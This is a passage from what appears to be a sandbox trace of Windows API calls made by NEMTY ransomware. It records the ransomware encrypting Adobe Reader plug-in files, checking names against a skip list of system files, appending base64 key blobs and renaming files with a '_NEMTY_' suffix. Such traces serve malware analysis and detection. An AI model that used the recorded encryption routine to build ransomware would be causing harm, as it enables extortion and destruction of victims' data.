lpMultiByteStr="reflow.api", lpUsedDefaultChar=0x0) returned 10 [0192.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.api", lpUsedDefaultChar=0x0) returned 10 [0192.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.api", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.api", lpUsedDefaultChar=0x0) returned 10 [0192.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0192.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.861] Sleep (dwMilliseconds=0x5) [0192.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x269c2d30, dwHighDateTime=0x1d561e8)) [0192.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x269c2d30, dwHighDateTime=0x1d561e8)) [0192.876] GetLastError () returned 0x0 [0192.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.876] GetLastError () returned 0x0 [0192.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.876] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.876] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.877] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0192.877] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="WxDsIQHcAK5u9oasBWDVsLY7qpp/2Fpe63h5NrZpiapyrJhHJmDhGeWpfdimFJ85\r\nPzTDYPbuIS5VV37d1FDUeCYJo1Q+BqKWkKwJ+n1kH/7Rf2acsT06hgqT4LISX8bo\r\nxh/DSwp34dKtOWZczC7Rid3qejelPxCvij3+KoUMw5+MBnXhAuO+xoFxeKVbbxAz\r\nJ/pUZR/nzWX8LOWmjFmQJlNmpmucAaV23B6+vO5N4evzpm9xit9VmM+RpuZg2vwr\r\nwZlytAz+AyqZ4PwU7OuCBtWIbwtSFEmRYKloTtH2SK2qG8gD9i1qXCbsRR0T/1iE\r\nkUAT2yzt5C4Co7zmwn+eGQ==\r\n", pcchString=0x653e91c) returned 1 [0192.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0192.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0192.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.877] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=347747) returned 1 [0192.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.878] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.878] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.886] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.886] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.886] SetFilePointer (in: hFile=0x254, lDistanceToMove=347747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54e63 [0192.886] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.888] CloseHandle (hObject=0x254) returned 1 [0192.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.888] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api._nemty_kgobjgd_")) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0192.889] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63263, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2=".") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="..") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="...") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="windows") returned -1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="$RECYCLE.BIN") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="rsa") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="NTDETECT.COM") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="ntldr") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="MSDOS.SYS") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="IO.SYS") returned 1 [0192.889] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="boot.ini") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="boot.ini") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="ntuser.dat") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="desktop.ini") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="CONFIG.SYS") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="RECYCLER") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="BOOTSECT.BAK") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="bootmgr") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="programdata") returned 1 [0192.890] lstrcmpiW (lpString1="SaveAsRTF.api", lpString2="appdata") returned 1 [0192.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.api", lpUsedDefaultChar=0x0) returned 13 [0192.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.api", lpUsedDefaultChar=0x0) returned 13 [0192.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.api", lpUsedDefaultChar=0x0) returned 13 [0192.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0192.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.api", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.api", lpUsedDefaultChar=0x0) returned 13 [0192.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0192.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0192.890] Sleep (dwMilliseconds=0x5) [0192.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x269e8e90, dwHighDateTime=0x1d561e8)) [0192.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x269e8e90, dwHighDateTime=0x1d561e8)) [0192.892] GetLastError () returned 0x0 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.892] GetLastError () returned 0x0 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0192.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0192.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="Axt95Q+t2T7XBkDtGSxCRYDC2xMSB3pZ5rn48ORyHtUl3KSZHqKX31bQJ7PlEPT3\r\nbK/DaR+qIMV/2Ptt+EBiIBYF8lGoELGmmATOh30WD4xOi8/kTPcQkSp1DMoNi/xY\r\nSm5CmVMcUjzv0tcgdREnVt6mMniABqhSjXXErNWNLXMEED0DyKl+/fDxblI6EXm5\r\ny9kg1TZs835S8YIa88lMk4px4QX4FeaZOo/mxmK7ZGTz7izVzb67XoOEXZRGFzJc\r\nFPWkybLV+pXl1QqzdSqvzf+9CL795Nx8AllJ63PQEEDJDHJZOTQPuZArjatajpaz\r\nL5EAEM3633USjCuidzmjRw==\r\n", pcchString=0x653e91c) returned 1 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0192.893] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=406115) returned 1 [0192.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0192.893] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.893] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0192.902] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.902] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0192.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0192.902] SetFilePointer (in: hFile=0x254, lDistanceToMove=406115, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63263 [0192.902] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0192.903] CloseHandle (hObject=0x254) returned 1 [0192.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0192.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0192.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0192.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0192.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.904] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SaveAsRTF.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\saveasrtf.api._nemty_kgobjgd_")) returned 1 [0192.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0192.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0192.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0192.905] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69063, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.api", cAlternateFileName="")) returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2=".") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="..") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="...") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="windows") returned -1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="$RECYCLE.BIN") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="rsa") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="NTDETECT.COM") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="ntldr") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="MSDOS.SYS") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="IO.SYS") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="boot.ini") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="boot.ini") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="AUTOEXEC.BAT") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="ntuser.dat") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="desktop.ini") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="CONFIG.SYS") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="RECYCLER") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="BOOTSECT.BAK") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="bootmgr") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="programdata") returned 1 [0192.905] lstrcmpiW (lpString1="Search.api", lpString2="appdata") returned 1 [0192.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0192.905] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.api", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, 